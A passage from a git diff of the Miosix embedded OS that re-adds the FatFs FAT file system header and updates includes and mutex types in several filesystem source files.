FILESEM Files[miosix::FATFS_MAX_OPEN_FILES];/* Open object lock semaphores */ -#endif - miosix::intrusive_ref_ptr drv; /* drive device */ -}; - - - -/* File object structure (FIL) */ - -typedef struct { - FATFS* fs; /* Pointer to the related file system object (**do not change order**) */ - WORD id; /* Owner file system mount ID (**do not change order**) */ - BYTE flag; /* File status flags */ - BYTE err; /* Abort flag (error code) */ - DWORD fptr; /* File read/write pointer (Zeroed on file open) */ - DWORD fsize; /* File size */ - DWORD sclust; /* File data start cluster (0:no data cluster, always 0 when fsize is 0) */ - DWORD clust; /* Current cluster of fpter */ - DWORD dsect; /* Current data sector of fpter */ -#if !_FS_READONLY - DWORD dir_sect; /* Sector containing the directory entry */ - BYTE* dir_ptr; /* Pointer to the directory entry in the window */ -#endif -#if _USE_FASTSEEK - DWORD* cltbl; /* Pointer to the cluster link map table (Nulled on file open) */ -#endif -#ifdef _FS_LOCK - UINT lockid; /* File lock ID (index of file semaphore table Files[]) */ -#endif -#if !_FS_TINY - BYTE buf[_MAX_SS]; /* File data read/write buffer */ -#endif -} FIL; - - - -/* Directory object structure (DIR) */ - -typedef struct { - FATFS* fs; /* Pointer to the owner file system object (**do not change order**) */ - WORD id; /* Owner file system mount ID (**do not change order**) */ - WORD index; /* Current read/write index number */ - DWORD sclust; /* Table start cluster (0:Root dir) */ - DWORD clust; /* Current cluster */ - DWORD sect; /* Current sector */ - BYTE* dir; /* Pointer to the current SFN entry in the win[] */ - BYTE* fn; /* Pointer to the SFN (in/out) {file[8],ext[3],status[1]} */ -#ifdef _FS_LOCK - UINT lockid; /* File lock ID (index of file semaphore table Files[]) */ -#endif -#if _USE_LFN - WCHAR* lfn; /* Pointer to the LFN working buffer */ - WORD lfn_idx; /* Last matched LFN index number (0xFFFF:No LFN) */ -#endif -} DIR_; - - - -/* File status structure (FILINFO) */ - -typedef struct { - DWORD fsize; /* File size */ - WORD fdate; /* Last modified date */ - WORD ftime; /* Last modified time */ - BYTE fattrib; /* Attribute */ - TCHAR fname[13]; /* Short file name (8.3 format) */ -#if _USE_LFN - /*TCHAR*/char *lfname; /* Pointer to the LFN buffer */ - UINT lfsize; /* Size of LFN buffer in TCHAR */ -#endif - unsigned int inode; //By TFT: support inodes -} FILINFO; - - - -/* File function return code (FRESULT) */ - -typedef enum { - FR_OK = 0, /* (0) Succeeded */ - FR_DISK_ERR, /* (1) A hard error occurred in the low level disk I/O layer */ - FR_INT_ERR, /* (2) Assertion failed */ - FR_NOT_READY, /* (3) The physical drive cannot work */ - FR_NO_FILE, /* (4) Could not find the file */ - FR_NO_PATH, /* (5) Could not find the path */ - FR_INVALID_NAME, /* (6) The path name format is invalid */ - FR_DENIED, /* (7) Access denied due to prohibited access or directory full */ - FR_EXIST, /* (8) Access denied due to prohibited access */ - FR_INVALID_OBJECT, /* (9) The file/directory object is invalid */ - FR_WRITE_PROTECTED, /* (10) The physical drive is write protected */ - FR_INVALID_DRIVE, /* (11) The logical drive number is invalid */ - FR_NOT_ENABLED, /* (12) The volume has no work area */ - FR_NO_FILESYSTEM, /* (13) There is no valid FAT volume */ - FR_MKFS_ABORTED, /* (14) The f_mkfs() aborted due to any parameter error */ - FR_TIMEOUT, /* (15) Could not get a grant to access the volume within defined period */ - FR_LOCKED, /* (16) The operation is rejected according to the file sharing policy */ - FR_NOT_ENOUGH_CORE, /* (17) LFN working buffer could not be allocated */ - FR_TOO_MANY_OPEN_FILES, /* (18) Number of open files > _FS_SHARE */ - FR_INVALID_PARAMETER /* (19) Given parameter is invalid */ -} FRESULT; - - - -/*--------------------------------------------------------------*/ -/* FatFs module application interface */ - -FRESULT f_open (FATFS *fs, FIL* fp, const /*TCHAR*/char *path, BYTE mode); /* Open or create a file */ -FRESULT f_close (FIL* fp); /* Close an open file object */ -FRESULT f_read (FIL* fp, void* buff, UINT btr, UINT* br); /* Read data from a file */ -FRESULT f_write (FIL* fp, const void* buff, UINT btw, UINT* bw); /* Write data to a file */ -FRESULT f_forward (FIL* fp, UINT(*func)(const BYTE*,UINT), UINT btf, UINT* bf); /* Forward data to the stream */ -FRESULT f_lseek (FIL* fp, DWORD ofs); /* Move file pointer of a file object */ -FRESULT f_truncate (FIL* fp); /* Truncate file */ -FRESULT f_sync (FIL* fp); /* Flush cached data of a writing file */ -FRESULT f_opendir (FATFS *fs, DIR_* dp, const /*TCHAR*/char *path); /* Open a directory */ -FRESULT f_closedir (DIR_* dp); /* Close an open directory */ -FRESULT f_readdir (DIR_* dp, FILINFO* fno); /* Read a directory item */ -FRESULT f_mkdir (FATFS *fs, const /*TCHAR*/char *path); /* Create a sub directory */ -FRESULT f_unlink (FATFS *fs, const /*TCHAR*/char *path); /* Delete an existing file or directory */ -FRESULT f_rename (FATFS *fs, const /*TCHAR*/char *path_old, const /*TCHAR*/char *path_new); /* Rename/Move a file or directory */ -FRESULT f_stat (FATFS *fs, const /*TCHAR*/char *path, FILINFO* fno); /* Get file status */ -FRESULT f_chmod (FATFS *fs, const /*TCHAR*/char *path, BYTE value, BYTE mask); /* Change attribute of the file/dir */ -FRESULT f_utime (FATFS *fs, const /*TCHAR*/char *path, const FILINFO* fno); /* Change times-tamp of the file/dir */ -FRESULT f_chdir (FATFS *fs, const TCHAR* path); /* Change current directory */ -FRESULT f_chdrive (const TCHAR* path); /* Change current drive */ -FRESULT f_getcwd (FATFS *fs, TCHAR* buff, UINT len); /* Get current directory */ -FRESULT f_getfree (FATFS *fs, /*const TCHAR* path,*/ DWORD* nclst/*, FATFS** fatfs*/); /* Get number of free clusters on the drive */ -FRESULT f_getlabel (FATFS *fs, const TCHAR* path, TCHAR* label, DWORD* sn); /* Get volume label */ -FRESULT f_setlabel (FATFS *fs, const TCHAR* label); /* Set volume label */ -FRESULT f_mount (FATFS* fs, /*const TCHAR* path,*/ BYTE opt, bool umount); /* Mount/Unmount a logical drive */ -FRESULT f_mkfs (const TCHAR* path, BYTE sfd, UINT au); /* Create a file system on the volume */ -FRESULT f_fdisk (BYTE pdrv, const DWORD szt[], void* work); /* Divide a physical drive into some partitions */ -int f_putc (TCHAR c, FIL* fp); /* Put a character to the file */ -int f_puts (const TCHAR* str, FIL* cp); /* Put a string to the file */ -int f_printf (FIL* fp, const TCHAR* str, ...); /* Put a formatted string to the file */ -TCHAR* f_gets (TCHAR* buff, int len, FIL* fp); /* Get a string from the file */ - -#define f_eof(fp) (((fp)->fptr == (fp)->fsize) ? 1 : 0) -#define f_error(fp) ((fp)->err) -#define f_tell(fp) ((fp)->fptr) -#define f_size(fp) ((fp)->fsize) - -#ifndef EOF -#define EOF (-1) -#endif - - - - -/*--------------------------------------------------------------*/ -/* Additional user defined functions */ - -/* RTC function */ -#if !_FS_READONLY -DWORD get_fattime (void); -#endif - -/* Unicode support functions */ -#if _USE_LFN /* Unicode - OEM code conversion */ -WCHAR ff_convert (WCHAR chr, UINT dir); /* OEM-Unicode bidirectional conversion */ -WCHAR ff_wtoupper (WCHAR chr); /* Unicode upper-case conversion */ -#if _USE_LFN == 3 /* Memory functions */ -void* ff_memalloc (UINT msize); /* Allocate memory block */ -void ff_memfree (void* mblock); /* Free memory block */ -#endif -#endif - -/* Sync functions */ -#if _FS_REENTRANT -int ff_cre_syncobj (BYTE vol, _SYNC_t* sobj); /* Create a sync object */ -int ff_req_grant (_SYNC_t sobj); /* Lock sync object */ -void ff_rel_grant (_SYNC_t sobj); /* Unlock sync object */ -int ff_del_syncobj (_SYNC_t sobj); /* Delete a sync object */ -#endif - - - - -/*--------------------------------------------------------------*/ -/* Flags and offset address */ - - -/* File access control and file status flags (FIL.flag) */ - -#define FA_READ 0x01 -#define FA_OPEN_EXISTING 0x00 - -#if !_FS_READONLY -#define FA_WRITE 0x02 -#define FA_CREATE_NEW 0x04 -#define FA_CREATE_ALWAYS 0x08 -#define FA_OPEN_ALWAYS 0x10 -#define FA__WRITTEN 0x20 -#define FA__DIRTY 0x40 -#endif - - -/* FAT sub type (FATFS.fs_type) */ - -#define FS_FAT12 1 -#define FS_FAT16 2 -#define FS_FAT32 3 - - -/* File attribute bits for directory entry */ - -#define AM_RDO 0x01 /* Read only */ -#define AM_HID 0x02 /* Hidden */ -#define AM_SYS 0x04 /* System */ -#define AM_VOL 0x08 /* Volume label */ -#define AM_LFN 0x0F /* LFN entry */ -#define AM_DIR 0x10 /* Directory */ -#define AM_ARC 0x20 /* Archive */ -#define AM_MASK 0x3F /* Mask of defined bits */ - - -/* Fast seek feature */ -#define CREATE_LINKMAP 0xFFFFFFFF - - - -/*--------------------------------*/ -/* Multi-byte word access macros */ - -#if _WORD_ACCESS == 1 /* Enable word access to the FAT structure */ -#define LD_WORD(ptr) (WORD)(*(WORD*)(BYTE*)(ptr)) -#define LD_DWORD(ptr) (DWORD)(*(DWORD*)(BYTE*)(ptr)) -#define ST_WORD(ptr,val) *(WORD*)(BYTE*)(ptr)=(WORD)(val) -#define ST_DWORD(ptr,val) *(DWORD*)(BYTE*)(ptr)=(DWORD)(val) -#else /* Use byte-by-byte access to the FAT structure */ -#define LD_WORD(ptr) (WORD)(((WORD)*((BYTE*)(ptr)+1)<<8)|(WORD)*(BYTE*)(ptr)) -#define LD_DWORD(ptr) (DWORD)(((DWORD)*((BYTE*)(ptr)+3)<<24)|((DWORD)*((BYTE*)(ptr)+2)<<16)|((WORD)*((BYTE*)(ptr)+1)<<8)|*(BYTE*)(ptr)) -#define ST_WORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8) -#define ST_DWORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8); *((BYTE*)(ptr)+2)=(BYTE)((DWORD)(val)>>16); *((BYTE*)(ptr)+3)=(BYTE)((DWORD)(val)>>24) -#endif - -#endif //WITH_FILESYSTEM - -//#ifdef __cplusplus -//} -//#endif - -#endif /* _FATFS */ +/*---------------------------------------------------------------------------/ +/ FatFs - FAT file system module include file R0.10 (C)ChaN, 2013 +/----------------------------------------------------------------------------/ +/ FatFs module is a generic FAT file system module for small embedded systems. +/ This is a free software that opened for education, research and commercial +/ developments under license policy of following terms. +/ +/ Copyright (C) 2013, ChaN, all right reserved. +/ +/ * The FatFs module is a free software and there is NO WARRANTY. +/ * No restriction on use. You can use, modify and redistribute it for +/ personal, non-profit or commercial product UNDER YOUR RESPONSIBILITY. +/ * Redistributions of source code must retain the above copyright notice. +/ +/----------------------------------------------------------------------------*/ + +/* + * This version of FatFs has been modified to adapt it to the requirements of + * Miosix: + * - C++: moved from C to C++ to allow calling other Miosix code + * - utf8: the original FatFs API supported only utf16 for file names, but the + * Miosix filesystem API has to be utf8 (aka, according with the + * "utf8 everywhere mainfesto", doesn't want to deal with that crap). + * For efficiency reasons the unicode conversion is done inside the FatFs code + * - removal of global variables: to allow to create an arbitrary number of + * independent Fat32 filesystems + * - unixification: removal of the dos-like drive numbering scheme and + * addition of an inode field in the FILINFO struct + */ + +#ifndef _FATFS +#define _FATFS 80960 /* Revision ID */ + +//#ifdef __cplusplus +//extern "C" { +//#endif + +#include +#include "miosix_settings.h" + +#include "integer.h" /* Basic integer types */ +#include "ffconf.h" /* FatFs configuration options */ + +#if _FATFS != _FFCONF +#error Wrong configuration file (ffconf.h). +#endif + +#ifdef WITH_FILESYSTEM + + + +/* Definitions of volume management */ + +#if _MULTI_PARTITION /* Multiple partition configuration */ +typedef struct { + BYTE pd; /* Physical drive number */ + BYTE pt; /* Partition: 0:Auto detect, 1-4:Forced partition) */ +} PARTITION; +extern PARTITION VolToPart[]; /* Volume - Partition resolution table */ +#define LD2PD(vol) (VolToPart[vol].pd) /* Get physical drive number */ +#define LD2PT(vol) (VolToPart[vol].pt) /* Get partition index */ + +#else /* Single partition configuration */ +#define LD2PD(vol) (BYTE)(vol) /* Each logical drive is bound to the same physical drive number */ +#define LD2PT(vol) 0 /* Find first valid partition or in SFD */ + +#endif + + + +/* Type of path name strings on FatFs API */ + +#if _LFN_UNICODE /* Unicode string */ +#if !_USE_LFN +#error _LFN_UNICODE must be 0 in non-LFN cfg. +#endif +#ifndef _INC_TCHAR +typedef WCHAR TCHAR; +#define _T(x) L ## x +#define _TEXT(x) L ## x +#endif + +#else /* ANSI/OEM string */ +#ifndef _INC_TCHAR +typedef char TCHAR; +#define _T(x) x +#define _TEXT(x) x +#endif + +#endif + +/* File access control feature */ +#ifdef _FS_LOCK +#if _FS_READONLY +#error _FS_LOCK must be 0 at read-only cfg. +#endif +struct FATFS; //Forward decl + +typedef struct { + FATFS *fs; /* Object ID 1, volume (NULL:blank entry) */ + DWORD clu; /* Object ID 2, directory */ + WORD idx; /* Object ID 3, directory index */ + WORD ctr; /* Object open counter, 0:none, 0x01..0xFF:read mode open count, 0x100:write mode */ +} FILESEM; +#endif + + +/* File system object structure (FATFS) */ + +struct FATFS { + BYTE fs_type; /* FAT sub-type (0:Not mounted) */ + //BYTE drv; /* Physical drive number */ + BYTE csize; /* Sectors per cluster (1,2,4...128) */ + BYTE n_fats; /* Number of FAT copies (1 or 2) */ + BYTE wflag; /* win[] flag (b0:dirty) */ + BYTE fsi_flag; /* FSINFO flags (b7:disabled, b0:dirty) */ + WORD id; /* File system mount ID */ + WORD n_rootdir; /* Number of root directory entries (FAT12/16) */ +#if _MAX_SS != 512 + WORD ssize; /* Bytes per sector (512, 1024, 2048 or 4096) */ +#endif +#if _FS_REENTRANT + _SYNC_t sobj; /* Identifier of sync object */ +#endif +#if !_FS_READONLY + DWORD last_clust; /* Last allocated cluster */ + DWORD free_clust; /* Number of free clusters */ +#endif +#if _FS_RPATH + DWORD cdir; /* Current directory start cluster (0:root) */ +#endif + DWORD n_fatent; /* Number of FAT entries (= number of clusters + 2) */ + DWORD fsize; /* Sectors per FAT */ + DWORD volbase; /* Volume start sector */ + DWORD fatbase; /* FAT start sector */ + DWORD dirbase; /* Root directory start sector (FAT32:Cluster#) */ + DWORD database; /* Data start sector */ + DWORD winsect; /* Current sector appearing in the win[] */ + BYTE win[_MAX_SS] __attribute__((aligned(4))); /* Disk access window for Directory, FAT (and file data at tiny cfg) */ +#if _USE_LFN == 1 + WCHAR LfnBuf[_MAX_LFN+1]; +#endif +#ifdef _FS_LOCK + FILESEM Files[miosix::FATFS_MAX_OPEN_FILES];/* Open object lock semaphores */ +#endif + miosix::intrusive_ref_ptr drv; /* drive device */ +}; + + + +/* File object structure (FIL) */ + +typedef struct { + FATFS* fs; /* Pointer to the related file system object (**do not change order**) */ + WORD id; /* Owner file system mount ID (**do not change order**) */ + BYTE flag; /* File status flags */ + BYTE err; /* Abort flag (error code) */ + DWORD fptr; /* File read/write pointer (Zeroed on file open) */ + DWORD fsize; /* File size */ + DWORD sclust; /* File data start cluster (0:no data cluster, always 0 when fsize is 0) */ + DWORD clust; /* Current cluster of fpter */ + DWORD dsect; /* Current data sector of fpter */ +#if !_FS_READONLY + DWORD dir_sect; /* Sector containing the directory entry */ + BYTE* dir_ptr; /* Pointer to the directory entry in the window */ +#endif +#if _USE_FASTSEEK + DWORD* cltbl; /* Pointer to the cluster link map table (Nulled on file open) */ +#endif +#ifdef _FS_LOCK + UINT lockid; /* File lock ID (index of file semaphore table Files[]) */ +#endif +#if !_FS_TINY + BYTE buf[_MAX_SS]; /* File data read/write buffer */ +#endif +} FIL; + + + +/* Directory object structure (DIR) */ + +typedef struct { + FATFS* fs; /* Pointer to the owner file system object (**do not change order**) */ + WORD id; /* Owner file system mount ID (**do not change order**) */ + WORD index; /* Current read/write index number */ + DWORD sclust; /* Table start cluster (0:Root dir) */ + DWORD clust; /* Current cluster */ + DWORD sect; /* Current sector */ + BYTE* dir; /* Pointer to the current SFN entry in the win[] */ + BYTE* fn; /* Pointer to the SFN (in/out) {file[8],ext[3],status[1]} */ +#ifdef _FS_LOCK + UINT lockid; /* File lock ID (index of file semaphore table Files[]) */ +#endif +#if _USE_LFN + WCHAR* lfn; /* Pointer to the LFN working buffer */ + WORD lfn_idx; /* Last matched LFN index number (0xFFFF:No LFN) */ +#endif +} DIR_; + + + +/* File status structure (FILINFO) */ + +typedef struct { + DWORD fsize; /* File size */ + WORD fdate; /* Last modified date */ + WORD ftime; /* Last modified time */ + BYTE fattrib; /* Attribute */ + TCHAR fname[13]; /* Short file name (8.3 format) */ +#if _USE_LFN + /*TCHAR*/char *lfname; /* Pointer to the LFN buffer */ + UINT lfsize; /* Size of LFN buffer in TCHAR */ +#endif + unsigned int inode; //By TFT: support inodes +} FILINFO; + + + +/* File function return code (FRESULT) */ + +typedef enum { + FR_OK = 0, /* (0) Succeeded */ + FR_DISK_ERR, /* (1) A hard error occurred in the low level disk I/O layer */ + FR_INT_ERR, /* (2) Assertion failed */ + FR_NOT_READY, /* (3) The physical drive cannot work */ + FR_NO_FILE, /* (4) Could not find the file */ + FR_NO_PATH, /* (5) Could not find the path */ + FR_INVALID_NAME, /* (6) The path name format is invalid */ + FR_DENIED, /* (7) Access denied due to prohibited access or directory full */ + FR_EXIST, /* (8) Access denied due to prohibited access */ + FR_INVALID_OBJECT, /* (9) The file/directory object is invalid */ + FR_WRITE_PROTECTED, /* (10) The physical drive is write protected */ + FR_INVALID_DRIVE, /* (11) The logical drive number is invalid */ + FR_NOT_ENABLED, /* (12) The volume has no work area */ + FR_NO_FILESYSTEM, /* (13) There is no valid FAT volume */ + FR_MKFS_ABORTED, /* (14) The f_mkfs() aborted due to any parameter error */ + FR_TIMEOUT, /* (15) Could not get a grant to access the volume within defined period */ + FR_LOCKED, /* (16) The operation is rejected according to the file sharing policy */ + FR_NOT_ENOUGH_CORE, /* (17) LFN working buffer could not be allocated */ + FR_TOO_MANY_OPEN_FILES, /* (18) Number of open files > _FS_SHARE */ + FR_INVALID_PARAMETER /* (19) Given parameter is invalid */ +} FRESULT; + + + +/*--------------------------------------------------------------*/ +/* FatFs module application interface */ + +FRESULT f_open (FATFS *fs, FIL* fp, const /*TCHAR*/char *path, BYTE mode); /* Open or create a file */ +FRESULT f_close (FIL* fp); /* Close an open file object */ +FRESULT f_read (FIL* fp, void* buff, UINT btr, UINT* br); /* Read data from a file */ +FRESULT f_write (FIL* fp, const void* buff, UINT btw, UINT* bw); /* Write data to a file */ +FRESULT f_forward (FIL* fp, UINT(*func)(const BYTE*,UINT), UINT btf, UINT* bf); /* Forward data to the stream */ +FRESULT f_lseek (FIL* fp, DWORD ofs); /* Move file pointer of a file object */ +FRESULT f_truncate (FIL* fp); /* Truncate file */ +FRESULT f_sync (FIL* fp); /* Flush cached data of a writing file */ +FRESULT f_opendir (FATFS *fs, DIR_* dp, const /*TCHAR*/char *path); /* Open a directory */ +FRESULT f_closedir (DIR_* dp); /* Close an open directory */ +FRESULT f_readdir (DIR_* dp, FILINFO* fno); /* Read a directory item */ +FRESULT f_mkdir (FATFS *fs, const /*TCHAR*/char *path); /* Create a sub directory */ +FRESULT f_unlink (FATFS *fs, const /*TCHAR*/char *path); /* Delete an existing file or directory */ +FRESULT f_rename (FATFS *fs, const /*TCHAR*/char *path_old, const /*TCHAR*/char *path_new); /* Rename/Move a file or directory */ +FRESULT f_stat (FATFS *fs, const /*TCHAR*/char *path, FILINFO* fno); /* Get file status */ +FRESULT f_chmod (FATFS *fs, const /*TCHAR*/char *path, BYTE value, BYTE mask); /* Change attribute of the file/dir */ +FRESULT f_utime (FATFS *fs, const /*TCHAR*/char *path, const FILINFO* fno); /* Change times-tamp of the file/dir */ +FRESULT f_chdir (FATFS *fs, const TCHAR* path); /* Change current directory */ +FRESULT f_chdrive (const TCHAR* path); /* Change current drive */ +FRESULT f_getcwd (FATFS *fs, TCHAR* buff, UINT len); /* Get current directory */ +FRESULT f_getfree (FATFS *fs, /*const TCHAR* path,*/ DWORD* nclst/*, FATFS** fatfs*/); /* Get number of free clusters on the drive */ +FRESULT f_getlabel (FATFS *fs, const TCHAR* path, TCHAR* label, DWORD* sn); /* Get volume label */ +FRESULT f_setlabel (FATFS *fs, const TCHAR* label); /* Set volume label */ +FRESULT f_mount (FATFS* fs, /*const TCHAR* path,*/ BYTE opt, bool umount); /* Mount/Unmount a logical drive */ +FRESULT f_mkfs (const TCHAR* path, BYTE sfd, UINT au); /* Create a file system on the volume */ +FRESULT f_fdisk (BYTE pdrv, const DWORD szt[], void* work); /* Divide a physical drive into some partitions */ +int f_putc (TCHAR c, FIL* fp); /* Put a character to the file */ +int f_puts (const TCHAR* str, FIL* cp); /* Put a string to the file */ +int f_printf (FIL* fp, const TCHAR* str, ...); /* Put a formatted string to the file */ +TCHAR* f_gets (TCHAR* buff, int len, FIL* fp); /* Get a string from the file */ + +#define f_eof(fp) (((fp)->fptr == (fp)->fsize) ? 1 : 0) +#define f_error(fp) ((fp)->err) +#define f_tell(fp) ((fp)->fptr) +#define f_size(fp) ((fp)->fsize) + +#ifndef EOF +#define EOF (-1) +#endif + + + + +/*--------------------------------------------------------------*/ +/* Additional user defined functions */ + +/* RTC function */ +#if !_FS_READONLY +DWORD get_fattime (void); +#endif + +/* Unicode support functions */ +#if _USE_LFN /* Unicode - OEM code conversion */ +WCHAR ff_convert (WCHAR chr, UINT dir); /* OEM-Unicode bidirectional conversion */ +WCHAR ff_wtoupper (WCHAR chr); /* Unicode upper-case conversion */ +#if _USE_LFN == 3 /* Memory functions */ +void* ff_memalloc (UINT msize); /* Allocate memory block */ +void ff_memfree (void* mblock); /* Free memory block */ +#endif +#endif + +/* Sync functions */ +#if _FS_REENTRANT +int ff_cre_syncobj (BYTE vol, _SYNC_t* sobj); /* Create a sync object */ +int ff_req_grant (_SYNC_t sobj); /* Lock sync object */ +void ff_rel_grant (_SYNC_t sobj); /* Unlock sync object */ +int ff_del_syncobj (_SYNC_t sobj); /* Delete a sync object */ +#endif + + + + +/*--------------------------------------------------------------*/ +/* Flags and offset address */ + + +/* File access control and file status flags (FIL.flag) */ + +#define FA_READ 0x01 +#define FA_OPEN_EXISTING 0x00 + +#if !_FS_READONLY +#define FA_WRITE 0x02 +#define FA_CREATE_NEW 0x04 +#define FA_CREATE_ALWAYS 0x08 +#define FA_OPEN_ALWAYS 0x10 +#define FA__WRITTEN 0x20 +#define FA__DIRTY 0x40 +#endif + + +/* FAT sub type (FATFS.fs_type) */ + +#define FS_FAT12 1 +#define FS_FAT16 2 +#define FS_FAT32 3 + + +/* File attribute bits for directory entry */ + +#define AM_RDO 0x01 /* Read only */ +#define AM_HID 0x02 /* Hidden */ +#define AM_SYS 0x04 /* System */ +#define AM_VOL 0x08 /* Volume label */ +#define AM_LFN 0x0F /* LFN entry */ +#define AM_DIR 0x10 /* Directory */ +#define AM_ARC 0x20 /* Archive */ +#define AM_MASK 0x3F /* Mask of defined bits */ + + +/* Fast seek feature */ +#define CREATE_LINKMAP 0xFFFFFFFF + + + +/*--------------------------------*/ +/* Multi-byte word access macros */ + +#if _WORD_ACCESS == 1 /* Enable word access to the FAT structure */ +#define LD_WORD(ptr) (WORD)(*(WORD*)(BYTE*)(ptr)) +#define LD_DWORD(ptr) (DWORD)(*(DWORD*)(BYTE*)(ptr)) +#define ST_WORD(ptr,val) *(WORD*)(BYTE*)(ptr)=(WORD)(val) +#define ST_DWORD(ptr,val) *(DWORD*)(BYTE*)(ptr)=(DWORD)(val) +#else /* Use byte-by-byte access to the FAT structure */ +#define LD_WORD(ptr) (WORD)(((WORD)*((BYTE*)(ptr)+1)<<8)|(WORD)*(BYTE*)(ptr)) +#define LD_DWORD(ptr) (DWORD)(((DWORD)*((BYTE*)(ptr)+3)<<24)|((DWORD)*((BYTE*)(ptr)+2)<<16)|((WORD)*((BYTE*)(ptr)+1)<<8)|*(BYTE*)(ptr)) +#define ST_WORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8) +#define ST_DWORD(ptr,val) *(BYTE*)(ptr)=(BYTE)(val); *((BYTE*)(ptr)+1)=(BYTE)((WORD)(val)>>8); *((BYTE*)(ptr)+2)=(BYTE)((DWORD)(val)>>16); *((BYTE*)(ptr)+3)=(BYTE)((DWORD)(val)>>24) +#endif + +#endif //WITH_FILESYSTEM + +//#ifdef __cplusplus +//} +//#endif + +#endif /* _FATFS */ diff --git a/miosix/filesystem/fat32/ffconf.h b/miosix/filesystem/fat32/ffconf.h index 6f514f34e..c6c660f17 100644 --- a/miosix/filesystem/fat32/ffconf.h +++ b/miosix/filesystem/fat32/ffconf.h @@ -198,7 +198,7 @@ //Note by TFT: the reentrant option uses just one big lock for each FATFS, so //given there's no concurrency advantage in using this option, we're just using -//an ordinary FastMutex in class Fat32Fs and locking it before calling FatFs. +//an ordinary KernelMutex in class Fat32Fs and locking it before calling FatFs. #define _FS_REENTRANT 0 /* 0:Disable or 1:Enable */ #define _FS_TIMEOUT 1000 /* Timeout period in unit of time ticks */ #define _SYNC_t HANDLE /* O/S dependent type of sync object. e.g. HANDLE, OS_EVENT*, ID and etc.. */ diff --git a/miosix/filesystem/fat32/wtoupper.cpp b/miosix/filesystem/fat32/wtoupper.cpp index 03ea0ff20..72404d80f 100644 --- a/miosix/filesystem/fat32/wtoupper.cpp +++ b/miosix/filesystem/fat32/wtoupper.cpp @@ -1,6 +1,6 @@ #include "ff.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" /* * This is an alternative version of ff_wtoupper(), designed to be both smaller, diff --git a/miosix/filesystem/file.cpp b/miosix/filesystem/file.cpp index 14ec25c10..3699b52f8 100644 --- a/miosix/filesystem/file.cpp +++ b/miosix/filesystem/file.cpp @@ -30,7 +30,7 @@ #include #include #include "file_access.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" using namespace std; diff --git a/miosix/filesystem/file.h b/miosix/filesystem/file.h index e65fa2e57..911a687b2 100644 --- a/miosix/filesystem/file.h +++ b/miosix/filesystem/file.h @@ -29,7 +29,7 @@ #include #include #include "kernel/intrusive.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #pragma once diff --git a/miosix/filesystem/file_access.cpp b/miosix/filesystem/file_access.cpp index 406c977be..711e3bc7d 100644 --- a/miosix/filesystem/file_access.cpp +++ b/miosix/filesystem/file_access.cpp @@ -77,20 +77,20 @@ namespace miosix { // FileDescriptorTable::FileDescriptorTable() - : mutex(FastMutex::RECURSIVE), cwd("/") + : mutex(MutexOptions::RECURSIVE), cwd("/") { FilesystemManager::instance().addFileDescriptorTable(this); files[0]=files[1]=files[2]=intrusive_ref_ptr( - new TerminalDevice(DefaultConsole::instance().get())); + new TerminalDevice(getDefaultConsole())); } FileDescriptorTable::FileDescriptorTable(const FileDescriptorTable& rhs) - : mutex(FastMutex::RECURSIVE) + : mutex(MutexOptions::RECURSIVE) { //No need to lock this->mutex since we are in a constructor and there can't //be pointers to this in other threads yet { - Lock l(rhs.mutex); + Lock l(rhs.mutex); cwd=rhs.cwd; for(int i=0;i l(mutex); + Lock l(mutex); int fd=getAvailableFd(); if(fd<0) return fd; //Found an empty file descriptor @@ -128,7 +128,7 @@ int FileDescriptorTable::close(int fd) void FileDescriptorTable::cloexec() { - Lock l(mutex); + Lock l(mutex); for(int i=0;i()); @@ -147,7 +147,7 @@ int FileDescriptorTable::fcntl(int fd, int cmd, int opt) //Handle CLOEXEC as it'a a property of the file descriptor, not the file if(cmd==F_SETFD && (opt==FD_CLOEXEC || opt==0)) { - Lock l(mutex); + Lock l(mutex); filesCloexec[fd]= opt==FD_CLOEXEC; return 0; } else return file->fcntl(cmd,opt); @@ -156,7 +156,7 @@ int FileDescriptorTable::fcntl(int fd, int cmd, int opt) int FileDescriptorTable::getcwd(char *buf, size_t len) { if(buf==0 || len<2) return -EINVAL; //We don't support the buf==0 extension - Lock l(mutex); + Lock l(mutex); struct stat st; if(stat(".",&st) || !S_ISDIR(st.st_mode)) return -ENOENT; if(cwd.length()>len) return -ERANGE; @@ -170,7 +170,7 @@ int FileDescriptorTable::chdir(const char* name) if(name==0 || name[0]=='\0') return -EFAULT; size_t len=strlen(name); if(name[len-1]!='/') len++; //Reserve room for trailing slash - Lock l(mutex); + Lock l(mutex); if(name[0]!='/') len+=cwd.length(); if(len>PATH_MAX) return -ENAMETOOLONG; @@ -268,7 +268,7 @@ int FileDescriptorTable::dup(int fd) if(fd<0 || fd>=MAX_OPEN_FILES) return -EBADF; auto file=atomic_load(files+fd); if(!file) return -EBADF; - Lock l(mutex); + Lock l(mutex); int newFd=getAvailableFd(); if(newFd<0) return newFd; files[newFd]=file; //files[newFd] is guaranteed empty, assignment enough @@ -284,7 +284,7 @@ int FileDescriptorTable::dup2(int oldFd, int newFd) auto file=atomic_load(files+oldFd); if(!file) return -EBADF; //Need to lock on writes so as not to race with getAvailableFd() elsewhere - Lock l(mutex); + Lock l(mutex); atomic_store(files+newFd,file); //May race with concurrent close, need atomic filesCloexec[newFd]=false; return newFd; @@ -293,7 +293,7 @@ int FileDescriptorTable::dup2(int oldFd, int newFd) int FileDescriptorTable::pipe(int fds[2]) { if(fds==nullptr) return -EFAULT; - Lock l(mutex); + Lock l(mutex); int availableFds=0; for(int i=0;iPATH_MAX) return ""; if(path[0]=='/') return path; - Lock l(mutex); + Lock l(mutex); if(len+cwd.length()>PATH_MAX) return ""; return cwd+path; } @@ -610,7 +610,7 @@ FilesystemManager& FilesystemManager::instance() int FilesystemManager::kmount(const char* path, intrusive_ref_ptr fs) { if(path==0 || path[0]=='\0' || !fs) return -EFAULT; - Lock l(mutex); + Lock l(mutex); size_t len=strlen(path); if(len>PATH_MAX) return -ENAMETOOLONG; string temp(path); @@ -637,7 +637,7 @@ int FilesystemManager::umount(const char* path, bool force) if(path==0 || path[0]=='\0') return -ENOENT; size_t len=strlen(path); if(len>PATH_MAX) return -ENAMETOOLONG; - Lock l(mutex); 